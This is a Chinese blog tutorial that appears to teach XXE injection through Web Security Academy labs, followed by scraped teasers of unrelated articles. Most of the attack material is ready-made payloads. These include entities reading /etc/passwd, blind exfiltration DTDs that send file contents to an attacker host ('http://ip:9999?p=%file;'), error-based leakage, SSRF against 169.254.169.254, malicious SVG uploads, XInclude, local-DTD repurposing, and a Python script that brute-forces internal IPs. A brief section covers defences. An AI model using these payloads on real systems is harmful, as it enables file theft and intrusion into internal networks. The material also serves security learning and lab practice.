网络安全实战从 0 到 1 彻底掌握 XXE
0x01 什么是 XXE
个人认为,XXE 可以归结为一句话:构造恶意 DTD
介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞。
![](https://img-blog.csdnimg.cn/img_convert/36d63f691484f1c11d1716bd135f5302.png)
既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多,于是出现了 XXE。
XML 外部实体注入,全称为 XML external entity injection,某些应用程序允许 XML 格式的数据输入和解析,可以通过引入外部实体的方式进行攻击。
我们之前在0x01当中所讲的例子均为内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:示例代码:
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]><creds> <user>&xxe;</user> <pass>mypass</pass></creds>
复制代码
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
复制代码
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
重点二:
我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。
1.通用实体
用 &实体名; 引用的实体,他在 DTD 中定义,在 XML 文档中引用
示例代码:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
复制代码
2.参数实体:
(1)使用% 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用%实体名;引用(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体(3)和通用实体一样,参数实体也可以外部引用
示例代码:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
复制代码
参数实体在我们 Blind XXE 中起到了至关重要的作用
【一一帮助安全学习,所有资源获取处一一】①网络安全学习路线②20 份渗透测试电子书③安全攻防 357 页笔记④50 份安全攻防面试指南⑤安全红队渗透工具包⑥信息收集 80 条搜索语法⑦100 个漏洞实战案例⑧安全大厂内部视频资源⑨历年 CTF 夺旗赛题解析
0x02 XXE 的危害
1.像上文那个 file://xxx 的,很明显可以造成敏感数据泄露。
2.可以利用 XXE 执行 SSRF 攻击。
3.利用盲 XXE 将泄露数据外带;通过报错信息检索数据。
4.XXE 与文件上传结合,造成 getshell。
我们后续慢慢看 XXE 的危害。
0x04 XXE 几种攻击方式学习
1. 通过 File 协议进行文件读取
示例代码:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
复制代码
这里的 firstname 以及 lastname 都是在 XML 文件中解析的,我们尝试自己构造 payload 的话可以是这样
<?xml version='1.0'?><!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]><comment><text>&test;</text></comment>
复制代码
test -> "file:///etc/passwd" 通俗易懂
我们依靠一道靶场来加强一下感受
Lab: Exploiting XXE using external entities to retrieve files
题意:通过 XXE 注入爆出/etc/passwd的内容
进入靶场之后,先点击任意一个商品 - "view details",再 Check stock 并抓包。
这里的 productId 以及 storeId 是通过 XML 的形式传进来的,尝试通过 File 协议进行文件读取
![](https://img-blog.csdnimg.cn/img_convert/7925c381f22593ade3e0f5662e4d29c4.png)
payload:
<?xml version='1.0'?><!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]><stockCheck><productId>&test;</productId><storeId>4</storeId></stockCheck>
复制代码
![](https://img-blog.csdnimg.cn/img_convert/10173d25678b42bdbcc4527f8fa90e3d.png)
2. XXE 盲注
所谓盲注,就是无回显
XXE 盲注的一般思路,需要使用第三方平台协助攻击。
(1) 基本盲注
以 Port 靶场为例。
Lab: Blind XXE with out-of-band interaction via XML parameter entities
payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://d0eh504fzx1hdqnbch9xrbfe056vuk.burpcollaborator.net"> %xxe; ]><stockCheck> <productId> &xxe; </productId> <storeId> 1 </storeId></stockCheck>
复制代码
![](https://img-blog.csdnimg.cn/img_convert/4b4703d8b9ba31d2d256a500fbededd1.png)
(2) 多个 DTD 的调用攻击
这里以 PHP 代码为例进行说明
xml.php
<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
复制代码
直接上 payload,并用 payload 加以理解
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]
复制代码
这是我们对要进行渗透的 payload,有三个参数%remote, %int, %send;后面接的网站 http://ip/test.dtd 是我们挂在服务器/第三方网站的恶意 DTD。我们在这个第三方网站的恶意 DTD 中添加第二层恶意 DTD
test.dtd
![](https://img-blog.csdnimg.cn/img_convert/730b43e8016e5a5e4914c5f544150da7.png)
接着,%int去调用 test.dtd 当中的 file,这里稍微慢一点,分析一下% int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;;也就是 %file 在前面被定义,而 %file 则是恶意读取了文件,这里可以替换成 /etc/passwd 这类。
如此一来,%int 成为了这个网站的恶意 DTD,在 %int 里面定义了一个 %send 的变量名称。由此,最后一个调用的参数%send就相当于我们在上面一个案例中的基础 payload
<?xml version='1.0'?><!DOCTYPE send[<!ENTITY test SYSTEM 'http://ip:9999?p=file:///etc/passwd;'>]><comment><text>&send;</text></comment>
复制代码
这样,我们三层的 payload 经过抽丝剥茧,变成了一层简单的 payload。接下来我们来看一道简单的 Port 靶场上的盲注
Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
题目要求我们爆出 /etc/hostname 的文件
依旧是在 Stock 界面进行抓包,同样是 XML 形式
![](https://img-blog.csdnimg.cn/img_convert/e5b94c7264e2e69a4bcf9721eca12e35.png)
Port 里面的渗透测试是给我们第三方的服务器的,也就是 exploit server,但是在真正的渗透测试中,如果要测盲注的话,还是需要自己的服务器的。
按照之前的思路,进行多层恶意 DTD 的构造,并把这个恶意 DTD 挂在第三方服务器上面。
![](https://img-blog.csdnimg.cn/img_convert/a0f93322b5eda37a3dd674d02a2fcf61.png)
这里点 Store,因为存储之后,就等于你在你自己的服务器上面有了这个恶意的 DTD,一会儿复用即可。恶意 DTD 的 URL 我放在下面,每个人进靶场都是不一样的
URL: https://exploit-acbc1f081e35bba3c0a7180f0145001b.web-security-academy.net/exploit
![](https://img-blog.csdnimg.cn/img_convert/c9fe9cda3343c9fedb7b28579f1e6d57.png)
成功,我们 exploit 的/etc/hostname在 GET 请求参数中
(3) 报错型盲注
报错型注入是基于 "多个 DTD 的调用攻击"
攻击思路;和 "多个 DTD 的调用攻击" 大部分一致,稍有不同
evil.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>"> %eval; %exfil;
复制代码
攻击的 payload
<!DOCTYPE foo [<!ENTITY % [xxe](https://portswigger.net/web-security/xxe) SYSTEM "YOUR-DTD-URL"> %xxe;]>
复制代码
剖析一下
先调用&xxe;,&xxe;去调用上面的恶意 DTD,恶意 DTD 调用了file:///etc/passwd这一操作,这一操作,又被&eval中的内容又会在&exfil中的'file:///invalid/%file;'所调用。但是 invalid/%file 后面的内容一定是报错的,这个报错消息反而会被带出来。
这也就是 XXE 盲注中的报错注入
Lab: Exploiting blind XXE to retrieve data via error messages
根据上述的方法,先在 exploit server 中投放恶意 DTD,再在抓包界面进行调用第三方服务器上的 DTD,便可造成报错注入。
3. 利用 XXE 执行 SSRF
书说上文的 file 协议
我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求。
我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?
没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
新的利用方式
不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议。
![](https://img-blog.csdnimg.cn/img_convert/1425b01c583c46fe6e087693a296eb0f.png)
我们的 payload 一般长这样
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://对方的内网IP"> ]><test> &xxe;</test>
复制代码
当我们无法确定对方的具体 IP 时,可以通过 EXP 的方式进行探测。这里借用 K0rz3n 师傅的 EXP
内网 IP 爆破
import requestsimport base64#Origtional XML that the server accepts#<xml># <stuff>user</stuff>#</xml>def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml)def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('存在 XXE 的 URL', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print coded_string# print base64.b64decode(coded_string)for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i # 对应的内网 IP 地址 string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except:continue
复制代码
内网端口爆破
端口的爆破可以使用 Burpsuite 来完成
比如我们传入:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [<!ELEMENT data (#PCDATA)>]><data>4</data>
复制代码
对端口号添加引用符,放置于 Burpsuite Intruder 当中爆破。
靶场:Lab: Exploiting XXE to perform SSRF attacks
常规抓包
![](https://img-blog.csdnimg.cn/img_convert/e8ef46b5e769288f857f98e9a561983f.png)
构造 payload
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]><stockCheck> <productId> &xxe; </productId> <storeId> 1 </storeId></stockCheck>
复制代码
这里 169.254.169.254 是对方服务器的 IP
发包之后,回显是 400,告诉我们 "Invalid product ID: latest";再进一步添加接口。
一步步添加接口,直至出现回显数据为止,这种 SSRF 只能够读取到文件,个人认为危害性一般。
4. XXE 与文件上传结合
(1) 使用 svg 上传图片
SVG 图片是一种基于 XML 语法的图像格式,是一种矢量图。
那么我们结合文件上传的功能,可以在 SVG 中编辑 XML 语句,从而达到 XXE 的攻击效果。
一般的 payload
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16"> &xxe; </text></svg>
复制代码
这样一来,我们想要知道的信息就能够被暴露在上传的图片当中,也就是此 SVG 图片中。
Lab: Exploiting XXE via image file upload
前往 blog 的评论区界面,先事先创建好 1.svg,并在 SVG 文件当中编辑如下,作为我们的 payload
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16"> &xxe; </text></svg>
复制代码
上传后,我们的 SVG 图片中突然多了些许文字,点进去查看即可解题。
(2) 利用 jar:// 协议的攻击
jar:// 协议的格式:
jar:{url}!{path}
复制代码
实例:
jar:http://host/application.jar!/file/within/the/zip! 后面就是其需要从中解压出的文件
复制代码
jar 协议处理文件的过程:
(1) 下载 jar/zip 文件到临时文件中(2) 提取出我们指定的文件(3) 删除临时文件
因为在 java 中 file:/// 协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用
那我们怎么找到这个临时的文件夹呢?不用想,肯定是通过报错的形式展现,如果我们请求的
jar:http://localhost:9999/jar.zip!/1.php
复制代码
既然找到了临时文件的路径,我们就要考虑怎么使用这个文件了(或者说怎么让这个文件能更长时间的停留在我们的系统之中,我想到的方式就是 sleep())但是还有一个问题,因为我们要利用的时候肯定是在文件没有完全传输成果的时候,因此为了文件的完整性,我考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符,这样就能完美的解决这个问题。
5. 利用 XInclude 攻击
利用 XInclude 攻击的方式比起最粗暴的定义DOCTYPE来说更加含蓄些许,当我们无法直接定义DOCTYPE的时候才会转而向 XInclude 攻击;且要求后端采用的是 SOAP 协议。
先说说 SOAP 协议吧,也不难理解。
SOAP 协议在接收到请求后,SOAP 消息必须以 XML 文档的形式返回,所以要以 SOAP 协议作为后端的 Web 界面才会存在 XXE 的隐患。
XInclude 攻击的 payload
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
复制代码
不同的是,这里我们被禁止定义DOCTYPE,所以要对 Web 元素下手。
Lab: Exploiting XInclude to retrieve files
![](https://img-blog.csdnimg.cn/img_convert/4b91da7b9e996239eba5859a4fe4a434.png)
6. 别样的利用方式,复用本地 DTD
这种攻击手段,一般是源于服务器与域名之间存在防火墙,导致数据无法带出。
利用出发点:由于许多包含 DTD 文件的常见 CMS 都是开源的,我们需要寻找要攻击的服务器上的 DTD 文件。
这个方法只需要知道本地 DTD 文件的路径,并且在该 DTD 中定义了实体变量并且进行了引用。
比如在 ubuntu16.04 中,我使用全局搜索得到以下的一些原生 dtd 文件:
//find / name "*.dtd"/usr/share/sgml/metacity-common/metacity-theme.dtd/usr/share/sgml/dtd/xml-core/catalog.dtd/usr/share/sgml/gconf/gconf-1.0.dtd/usr/share/gdb/syscalls/gdb-syscalls.dtd/usr/share/djvu/pubtext/DjVuOCR.dtd/usr/share/djvu/pubtext/DjVuMessages.dtd/usr/share/djvu/pubtext/DjVuXML-s.dtd/usr/share/avahi/avahi-service.dtd/usr/share/glib-2.0/schemas/gschema.dtd/usr/share/X11/xkb/rules/xkb.dtd/usr/share/doc/libxml-parser-perl/examples/ctest.dtd/usr/share/xml/schema/xml-core/tr9401.dtd/usr/share/xml/schema/xml-core/catalog.dtd/usr/share/gtksourceview-3.0/language-specs/language.dtd/usr/share/yelp/dtd/docbookx.dtd/usr/share/mobile-broadband-provider-info/serviceproviders.2.dtd/usr/share/libgweather/locations.dtd/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
复制代码
这里使用 sip-app_1_0.dtd 为例,内容如下。
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)>
复制代码
构造 payload
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]>
复制代码
这样依赖,我们在调用&local_dtd的时候,会对 condition 实体进行引用,接着会将 condition 内容替换进来。在复用本地 DTD 文件之后,可以重新定义该文件中的一些参数实体引用;从而进一步构造 payload。
这么干讲还是有点太抽象了,我们看一道靶场体验一下。
Lab: Exploiting XXE to retrieve data by repurposing a local DTD
题目要求我们获得 /etc/passwd 的内容,并且告诉了我们本地 DTD 的路径;以及实体类的名称。
直接构造 payload
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval;%error; '> %local_dtd; ]>
复制代码
剖析 payload
这里我们调用了本地的 dockbookx.dtd,在调用本地的 dockbookx.dtd 的同时,复写了 ISOamso 这一实体类,ISOamso 被调用的时候就执行了我们的恶意命令,从而达到读取文件的效果。
![](https://img-blog.csdnimg.cn/img_convert/318ac336be65c17cddb22606bd90e6b0.png)
0x05 XXE 漏洞的防御
禁用外部实体
这种方式在不同语言中不一样
PHP
libxml_disable_entity_loader(true);
复制代码
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);.setFeature("http://xml.org/sax/features/external-general-entities",false).setFeature("http://xml.org/sax/features/external-parameter-entities",false);
复制代码
Python
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
复制代码
禁用外部实体是防御 XXE 最有效的方式
相关文章:
![](https://img-blog.csdnimg.cn/img_convert/318ac336be65c17cddb22606bd90e6b0.png)
网络安全实战从 0 到 1 彻底掌握 XXE
0x01 什么是 XXE个人认为,XXE 可以归结为一句话:构造恶意 DTD介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞。既然能插入 XML 代码,那我们肯定不能善罢甘休…...
![](https://www.ngui.cc/images/no-images.jpg)
如何安装 Composer
下载 Composer 安装前请务必确保已经正确安装了 PHP。打开命令行窗口并执行 php -v 查看是否正确输出版本号。 打开命令行并依次执行下列命令安装最新版本的 Composer: php -r "copy(https://install.phpcomposer.com/installer, composer-setup.php);"p…...
![](https://img-blog.csdnimg.cn/img_convert/4eae411deef1fc51788e621e055c3c81.png)
WPF 常用控件
WPF六种常用控件:布局控件、内容控件、带标题内容控件、条目控件、带标题条目控件和特殊内容控件(如:TextBox,TextBlock,Image等)。实例链接:WPF常用控件实例Window(窗体)Winodw窗体派生自ContentControl,有一个Content属性,里面可…...
![](https://img-blog.csdnimg.cn/7ed7eff4050943fdb0b7a771575ea7fc.png)
河南工程学院蓝桥培训(2.21)
1,金币 461. 金币 - AcWing题库 #include <iostream> using namespace std; int n,a,ans,s; int main(){cin>>n;while(n--){if(a0)as;anss,a--;}cout<<ans;return 0; }...
![](https://img-blog.csdnimg.cn/786d74459ed24945a33a71e4de6d10b0.png)
新人使用Git获取远程仓库项目
前言 这篇git技术篇非常的简单基础,写它的原因很简单,因为现在很多的年轻人都很浮躁,刚入门就想学最牛x的,看不起基础的一些技术,比如说git操作、Linux基础命令,编程基础啥的。我身边有很多这样的年轻人&a…...
![](https://img-blog.csdnimg.cn/0a41bffc78c34319ac227c55a1a8f0d1.jpeg)
理解信号的
在日常生活中我们也经常面临许多的信号,手机通知、过红绿灯。。。这些信号在没有发生之前我们就知道这种信号产生我们需要干什么,那Linux里信号产生后,又怎么知道要做什么呢? -- 那当然是由程序员自己去设置啊 由于我们的用户空间…...
![](https://img-blog.csdnimg.cn/87949961cc874da0bb21c50a78490780.png)
SpringSecurity学习(七)授权
授权 什么是权限管理 权限管理核心概念 SpringSecurity权限管理策略 基于URL地址的权限管理 基于方法的权限管理 一、权限管理 二、授权核心概念 在认证的过程成功之后会将当前用户登录信息保存到Authentication对象中,Authentication对象中有一个getAuthorities…...
![](https://img-blog.csdnimg.cn/d80f671be8274ea1b30645b2b7bcffda.gif#pic_center)
【Vue3】模板语法
🏆今日学习目标:模板语法 😃创作者:颜颜yan_ ✨个人格言:生如芥子,心藏须弥 ⏰本期期数:第三期 🎉专栏系列:Vue3 文章目录前言声明响应式状态插值文本Attributeÿ…...
![](https://img-blog.csdnimg.cn/img_convert/4f06fa7e178db9455c257448b80da027.png)
Linux基础
环境搭建:linux安装、远程连接常用命令:文件、目录、拷贝、移动、打包、压缩、文本编辑安装软件:文件上传、jdk、tomcat、mysql项目部署:Java应用、Python应用、日志查看、系统管理、用户权限Linux是一套免费使用、自由传播的操作…...
![](https://img-blog.csdnimg.cn/9d19548e6ab249e2b7c8aedd6762f25a.png)
Spark-序列化、依赖关系、持久化
序列化 闭包检查 序列化方法和属性 依赖关系 RDD 血缘关系 RDD 窄依赖 RDD 宽依赖 RDD 任务划分 RDD 持久化 RDD Cache 缓存 RDD CheckPoint 检查点 缓存和检查点区别 序列化 闭包检查 从计算的角度, 算子以外的代码都是在 Driver 端执行, 算子里面的代码都是在 E…...
![](https://img-blog.csdnimg.cn/f8b284a4e903400a9f74036e9221054b.jpeg#pic_center)
蓝桥杯刷题冲刺 | 倒计时16天
作者:指针不指南吗 专栏:蓝桥杯倒计时冲刺 🐾马上就要蓝桥杯了,最后的这几天尤为重要,不可懈怠哦🐾 文章目录1.青蛙跳杯子1.青蛙跳杯子 题目 链接: 青蛙跳杯子 - 蓝桥云课 (lanqiao.cn) X 星球的…...
![](https://img-blog.csdnimg.cn/a7e49a37d43940cdb5d21f91db353ca2.png)
Java设计模式-12 、建造者模式
建造者模式 (将一个 复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。) 建造者模式是一种创建型的模式,有一些对象的创建过程new 是很繁杂的。 什么时候去使用建造者模式 由上文可以得出在一些对象创建…...
![](https://img-blog.csdnimg.cn/2e3bb21dd083415685370d92cad15258.png)
一款全新的基于GPT4的Python神器,关键还免费
chartgpt大火之后,随之而来的就是一大类衍生物了。 然后,今天要给大家介绍的是一款基于GPT4的新一代辅助编程神器——Cursor。 它最值得介绍的地方在于它免费,我们可以直接利用它来辅助我们编程,真正做到事半功倍。 注意&#…...
![](https://www.ngui.cc/images/no-images.jpg)
上岸整理:2023前端面试题-vue,小程序,js,css
前端: 今年疫情结束后,前端行情不好,竞争压力很大,现在整理下个人认为面试很频繁的前端问题。 正题:无分类,因为面试官的问题也是随机的 一、基础 1、浏览器常见的报错信息与含义 2、304与204的区别&am…...
![](https://img-blog.csdnimg.cn/a9fd486b08b446deb9036a3c305ad5c5.gif#pic_center)
Linux下LED设备驱动开发(LED灯实现闪烁)
文章目录一、配置连接说明二、更新设备树(1)将led灯引脚添加到pinctrl子系统(2)设备树中添加LDE灯的设备树节点(3)编译更新设备树三、驱动开发与测试(1)编写设备驱动代码(…...
![](https://img-blog.csdnimg.cn/676428ba8fbc46c8badbfeda7fe94956.png)
JavaEE-多线程中wait和notify都有哪些区别?
更多内容请点击了解 本篇文章将详细讲述wait和notify的区别,请往下看 目录 更多内容请点击了解 文章目录 一、wait和notify概念 二、wait()方法详解 三、notify()方法详解 代码如下: 3.1notifyAll()详解 四、wait和sleep的对比 一、wait和notif…...
![](https://img-blog.csdnimg.cn/fbaf4414ced3405792eefe03ada8c5f1.gif#pic_center)
JavaScript实现列表分页(小白版)
组件用惯了,突然叫你用纯cssJavaScript写一个分页,顿时就慌了。久久没有接触js了,不知道咋写了。本文章也是借与参考做的一个demo案例,小白看了都会的那种。咱们就以ul列表为例进行分页: 首先模拟的数据列表是这样的&a…...
![](https://img-blog.csdnimg.cn/2352dc8dc4c14806b21c0e33126891ba.png)
Python调用GPT3.5接口的最新方法
GPT3.5接口调用方法主要包括openai安装、api_requestor.py替换、接口调用、示例程序说明四个部分。 1 openai安装 Python openai库可直接通过pip install openai安装。如果已经安装openai,但是后续提示找不到ChatCompletion,那么请使用命令“pip instal…...
![](https://www.ngui.cc/images/no-images.jpg)
Java开发 - 拦截器初体验
目录 前言 拦截器 什么是拦截器 拦截器和过滤器 Spring MVC的拦截器 Mybatis的拦截器...
![](https://www.ngui.cc/images/no-images.jpg)
【数据仓库-7】-- 使用维度建模的一些缘由
维度建模是一种用于设计数据仓库和商业智能系统的方法。以下是选择维度建模的两类理由。 1.传统方法,有背书且可靠 易于理解和使用:维度建模使用直观的图形和术语,使得非技术人员也能够理解和使用数据仓库和商业智能系统。 快速开发和部署:维度建模是一种迭代开发方法,能…...
![](https://img-blog.csdnimg.cn/a585b4d234024153b0724cac9ea59523.png)
【开发实践】在线考试系统(一) 生成错题知识点的思维导图
一、需求分析设计 笔者开发了一个在线考试系统,导师提出一个需求:添加对考试错题相关知识点的总结。 在question表中关联知识点的编号,题目可能关联多个知识点。这里笔者的设计是,只关联一个知识点,便于维护。 下面是知…...
![](https://img-blog.csdnimg.cn/2c5ef129beed440791fd3e6b07acfede.png)
Java Web 实战 17 - 计算机网络之传输层协议(2)
大家好 , 这篇文章继续给大家讲解 TCP 协议当中的一些操作 , 比如 : 滑动窗口、流量控制、拥塞控制、延时应答、捎带应答、面向字节流这几个提升 TCP 效率的操作 . 我们还会给大家分析 TCP 连接出现异常的时候 , 该如何处理 . 最后会将 TCP 和 UDP 进行比较 上一篇文章的链接也…...
![](https://img-blog.csdnimg.cn/img_convert/f2c977a69f274d5d9db75c8d5dde693d.png)
MyBatis<3>:动态SQL的使用<if><trim><where><set><foreach>
动态SQL是MyBatis的强大特性之一,能够完成不同条件下不同的sql拼接。参考官方文档:https://mybatis.org/mybatis-3/zh/dynamic-sql.html<if>标签看这个场景,有必填字段 和 非必填字段 ,当字段不确定是否传入的时候ÿ…...
![](https://img-blog.csdnimg.cn/93d6a13aba014cfb89730b4ad33d4f37.png#pic_center)
【超好懂的比赛题解】暨南大学2023东软教育杯ACM校赛个人题解
title : 暨南大学2023东软教育杯ACM校赛 题解 tags : ACM,练习记录 date : 2023-3-26 author : Linno 文章目录暨南大学2023东软教育杯ACM校赛 题解A-小王的魔法B-苏神的遗憾C-神父的碟D-基站建设E-小王的数字F-Uziの真身G-电子围棋H-二分大法I-丁真的小马朋友们J-单车运营K-超…...
![](https://www.ngui.cc/images/no-images.jpg)
go-zero学习及使用中遇到的问题
go-zero学习及使用中遇到的问题1 go-zero入门--单体服务demo1.1 单体服务【官方示例】1.1.1 创建greet服务1.1.2 目录结构1.1.3 编写逻辑1.1.4 启动并访问服务1.2 修改GET入参1.2.1 去除options限制的入参值1.2.2 重启并访问服务1.3 添加post请求【新增方法】1.3.1 修改 greet/…...
![](https://img-blog.csdnimg.cn/a773af224fe444819cf403507b85786a.png)
CCF-CSP认证 202303 500分题解
202303-1 田地丈量(矩阵面积交) 矩阵面积交x轴线段交长度*y轴线段交长度 线段交长度,相交的时候是min右端点-max左端点,不相交的时候是0 #include<bits/stdc.h> using namespace std; int n,a,b,ans,x,y,x2,y2; int f(in…...
![](https://img-blog.csdnimg.cn/img_convert/b4a331e550f5471dba2bae2c87c115a8.png)
板内盘中孔设计狂飙,细密间距线路中招
一博高速先生成员:王辉东大风起兮云飞扬,投板兮人心舒畅。赵理工打了哈欠,伸了个懒腰,看了看窗外,对林如烟说道:“春天虽美,但是容易让人沉醉。如烟,快女神节了,要不今晚…...
![](https://img-blog.csdnimg.cn/1920b825d2514eb8b5e0a37fbab16fd0.png)
面试热点题:回溯算法 递增子序列与全排列 II
前言: 如果你一点也不了解什么叫做回溯算法,那么推荐你看看这一篇回溯入门,让你快速了解回溯算法的基本原理及框架 递增子序列 给你一个整数数组 nums ,找出并返回所有该数组中不同的递增子序列,递增子序列中 至少有两…...
![](https://www.ngui.cc/images/no-images.jpg)
怎么找回回收站删除的文件
我们都知道,电脑文件都是放在桌面上的,单独存放或者一起存放在文件夹里。但总会有已用完或者是没用的文件,这让我们不得不对其进行清理。而清空回收站也是不可避免的。如果出现了清空文件中还有我们需要的文件,怎么找回回收站删除…...
![](https://www.ngui.cc/images/no-images.jpg)
dp-打家劫舍
你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。给定一个代表每个房屋存放金额的非…...
![](https://img-blog.csdnimg.cn/img_convert/5757ed3ee363991e9b6961d1f174c6e9.png)
wordpress手机版怎么做/互联网营销培训课程
初中就开始学习线性回归,并且可以根据最小二乘法,计算出线性回归系数,进而利用线性回归进行数据的简单预测。线性模型是机器学习中最简单、应用最广泛的模型,指通过样本特征的线性组合来进行预测的模型。给定一个d维样本[x1, ,…...
![](https://img-blog.csdnimg.cn/img_convert/bb9d875d6d20f6b596ee6592fe1722c0.png)
广州制作网站公司/宁波seo外包费用
【回复“1024”,送你一个特别推送】在 Google I/O 2018 开发者大会上,谷歌官方推出了 Android Jetpack,其中包含的 Android 开发架构组件能够帮助我们简化开发流程,从而轻松打造出优质应用。开发者能够利用 Jetpack 组件学习最佳实…...
![](/images/no-images.jpg)
网站的营销与推广/网站收录查询工具
bitsCN.comMySQL提供标准的SQL模式匹配,以及一种基于象Unix实用程序如vi、grep和sed的扩展正则表达式模式匹配的格式。SQL的模式匹配允许你使用“_”匹配任何单个字符,而“%”匹配任意数目字符(包括零个字符)。在 MySQL中,SQL的模式缺省是忽略…...
![](/images/no-images.jpg)
北京市建委网站官网/百度视频免费下载
1.微信聊天记录是一个listview,并且分为自己和其他人的两个布局 1.1左侧为其他人的布局: <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"a…...
![](https://img-blog.csdnimg.cn/img_convert/be8dca3dcfec1c741cf1b9605a793b96.png)
wordpress.com nginx/哪家竞价托管专业
如果说求职是人生的一座山,那面试就是最难跨越的一道沟。有时候好不容易被通知去面试,结果被面试官虐得体无完肤,还有很多技术精湛、经验丰富的求职者屡次在面试环节被拒,一直没能拿到心仪的大厂高薪offer。说实话,面试…...
![](http://upload-images.jianshu.io/upload_images/5712789-386fac78e62052fc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
响应式电影网站/宁波seo在线优化方案公司
